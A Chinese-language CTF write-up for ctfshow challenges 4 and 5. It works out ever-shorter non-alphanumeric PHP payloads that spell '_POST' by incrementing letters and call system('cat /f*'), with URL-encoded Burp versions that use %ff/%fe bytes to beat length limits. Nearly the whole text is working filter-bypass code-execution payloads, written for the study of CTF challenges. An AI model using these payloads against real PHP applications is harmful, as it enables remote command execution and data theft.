看过官方wp之后复现的，用的payload是自己后来写的，可能不如官方的看着清晰
有点强迫症似的在抠细节（x

---

挑战4

最初的思路

第4题的长度限制到了84以内，84这个数字还是蛮特别的，因为一开始想的是，在获取N用$_=(_/_._)[0]的前提下，后面的内容只在拼接S、T的时候用$__.=++$_，其他地方就常规来写（意思是不用再去思考怎么写能更短，后面也会说拼接S、T时可以更短哈）,长度是90，其中有6处$__，如果能把双下划线改成单个字符，长度就正好是84了，而这可以通过在burp中将$__写成不可见字符如%ff来实现。

$_=(_/_._)[0];   //N
$__=++$_;        //$__和$_都是O
$__=++$_.$__;    //$__是PO $_是P 这里最初实在没想到怎么才能更短
++$_;++$_;       //Q、R
$__.=++$_;       //POS
$__.=++$_;       //POST
$_=_.$__;        //_POST
$$_[0]($$_[_]);  //_POST[0](_POST[_]);

上面这种思路对应的完整payload

ctf_show=$_=(_/_._)[0];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[0]($$_[_]);&0=system&_=cat /f*

长度只计算$_=(_/_._)[0];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[0]($$_[_]);这部分的长度，这种写法的长度是90，超过了84，因此会执行phpinfo();

在burp中将paylaod中的$__修改成不可见字符%ff就可以拿到flag

burp里的paylaod是

ctf_show=%24_%3D%28_%2F_._%29%5B0%5D%3B%24%ff%3D%2B%2B%24_%3B%24%ff%3D%2B%2B%24_.%24%ff%3B%2B%2B%24_%3B%2B%2B%24_%3B%24%ff.%3D%2B%2B%24_%3B%24%ff.%3D%2B%2B%24_%3B%24_%3D_.%24%ff%3B%24%24_%5B0%5D%28%24%24_%5B_%5D%29%3B&0=system&_=cat+%2Ff*

然后就默默在心里下了个结论，觉得这题得靠burp替换$__为%ff才能拿flag，出题人也太坏了，让人还得打开burp才能做题（我瞎想的 我瞎想的 我瞎想的）

通过HackBar拿flag的写法

写法一

好在后来突然想到，拼接S、T的时候完全可以更短啊，因为S、T相邻而且在PO之后，完全可以用$__.=++$_.++$_，这样长度就减少了5，但是85还是比84长了1，又想到最后拼接_的操作也能写得更短，比如在拼接PO的时候就拼接_，即用$__=_.++$_.$__获得_PO，后面不再写$_=_.$__;，长度能减少7，最后得到_POST的变量是$__，拼接的时候直接就用$__，双下划线会比单下划线长点，但是问题不大因为只长了2，总体长度减少了5+7-2=10，长度为80，小于84，可以通过借助HackBar传参来获得flag啦

$_=(_/_._)[0];   //N
$__=++$_;        //$__和$_都是O
$__=_.++$_.$__;    //_PO
++$_;++$_;       //Q、R
$__.=++$_.++$_;       //_POST
$$__[0]($$__[_]);  //_POST[0](_POST[_]);

上面这种思路对应的完整payload

ctf_show=$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);&0=system&_=cat /f*

这样就可以借助HackBar拿到flag

写法二

然后肯定也会好奇，如果最后拼接的时候，用的变量是单下划线的话，长度是多少，结果一看一样，也是80，就是在拼接前把$__.=++$_.++$_;改成$_=$__.++$_.++$_;，这样长度增加了2，然后后面拼接时候长度又能减少2，总长度依然是80
完整payload

ctf_show=$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;++$_;++$_;$_=$__.++$_.++$_;$$_[0]($$_[_]);&0=system&_=cat /f*

同样可以通过HackBar拿flag

我们再回过头来看看【写法一】，即

ctf_show=$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);&0=system&_=cat /f*

这里面有6处$__，如果把双下划线都换成单个字符，那长度就能再减少6，变成74个字符（这里提这个是为后续做铺垫）

挑战5

将长度限制到了73，数字0也不可以用了，用上一题的paylaod长度超了会触发执行phpinfo();

但是这里观察到phpinfo安装了一个扩展gettext，该扩展支持函数_() ,相当于gettext()，直接转化为字符串。另外，其实数组下标使用未定义常量，php会warning，但是可以继续运行，并返回下标为0的字符（现象是这样但是实际机制需要看php源码）[1]
[1]参考自官方wp:
https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah

既然gettext扩展支持函数_()，且数组下标不用数字而是用未定义常量也可以，那么获取N的语句最终可以写成$_=_(_/_)[%fe];

因为要用到不可见字符，这题怎么也得借助burp了（其实也不是非得打开burp

为了方便在burp里修改payload的内容，先在浏览器端的HackBar里写下面这个paylaod，执行

ctf_show=$_=_(_/_)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);&0=system&_=cat /f*

然后因为长度超了73，会执行phpinfo();
但是没关系，可以用burp抓到这个包，然后放到Repeater修改一下请求包里ctf_show的值，这里我把0都换成%fe，把双下划线都换成%ff
因为在挑战4的最后我说了，把双下划线换成单个不可见字符可以让长度为74，用不可见字符代替0不会影响长度，而一开始获取字母N用$_=_(_/_)[%fe];比用$_=(_/_._)[0];少一个字符，所以现在长度刚好73

burp中的payload

下面给出在burp中用的payload如下：

ctf_show=%24_%3D_%28_%2F_%29%5B%fe%5D%3B%24%ff%3D%2B%2B%24_%3B%24%ff%3D_.%2B%2B%24_.%24%ff%3B%24_%2B%2B%3B%24_%2B%2B%3B%24%ff.%3D%2B%2B%24_.%2B%2B%24_%3B%24%24%ff%5B%fe%5D%28%24%24%ff%5B_%5D%29%3B&%fe=system&_=cat+%2Ff*

可以看到返回包中出现了flag

大佬们也太极限啦

最后想说，看官方wp知道还可以更短，真没想到拼接得到PO的时候居然还有更短的写法哎！
可以把原本的$__=++$_; 和$__=++$_.$__;
写成++$_;和$__=$_.$_++;
这里这样写的话，就只能拼接PO，不能再拼接前面的_
至于原因，官方wp上是这么描述的：

_留到后面再拼接就行，这里结合一下上面的【写法二】的写法，最后用$_作为_POST

$_=_(_/_)[0];  //N
++$_;  //O
$__=$_.$_++;  //从结果来看是先执行了$_++，执行后$_值变成P，再拼接二者得到PO，但这里不能拼接成_PO
$_++;$_++;  //Q、R
$_=_.$__.++$_.++$_;  //_POST
$$_[0]($$_[_]);

长度74，有两处双下划线，改成一位不可见字符长度又能减少2，所以在burp中可以缩短到72位。

这里我用挑战4的环境测试的，发现挑战4其实也可以用gettext，所以挑战4在HackBar里也能用长度74的写法来拿flag：

这里用的完整payload：

ctf_show=$_=_(_/_)[0];++$_;$__=$_.$_++;$_++;$_++;$_=_.$__.++$_.++$_;$$_[0]($$_[_]);&0=system&_=cat /f*

在burp中替换两处双下划线为%ff：

burp中的payload：

ctf_show=%24_%3D_%28_%2F_%29%5B0%5D%3B%2B%2B%24_%3B%24%ff%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24%ff.%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B0%5D%28%24%24_%5B_%5D%29%3B&0=system&_=cat+%2Ff*

你以为这就完了？不，还可以更短，还有68位的写法
这里我就纯纯复制粘贴官方wp的内容了哈，做个记录
构造过程：

$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起

第三行可以分开来看，php在执行的时候会先对方括号里面的内容进行解析

$a=_.++$_.$a[$_++/$_++].++$_.++$_//$a直接拼接出_POST
$$a[_POST]($$a[_])//$_POST[_POST]($_POST[_])

总之是太巧妙了，我根本不可能想到
带着好奇心去php在线工具执行了一下拼接_POST的操作，确实也可以，报错一堆堆忽略了就好~

burp中的payload：

ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f*

然后自己复制粘贴payload去用挑战4（懒得再去开5了于是用的4）的环境试了一下，也是可以的

再一看长度，好家伙，即使换成我习惯的下划线、双下划线的写法，长度刚刚好73啊，挑战5也可以不用burp了（最终还是又开了5的环境用hackbar试了）

我用的payload：

ctf_show=$_=_(_/_)[_];$__=++$_;$$__[$__=_.++$_.$__[$_++/$_++].++$_.++$_]($$__[_]);&_POST=system&_=cat /f*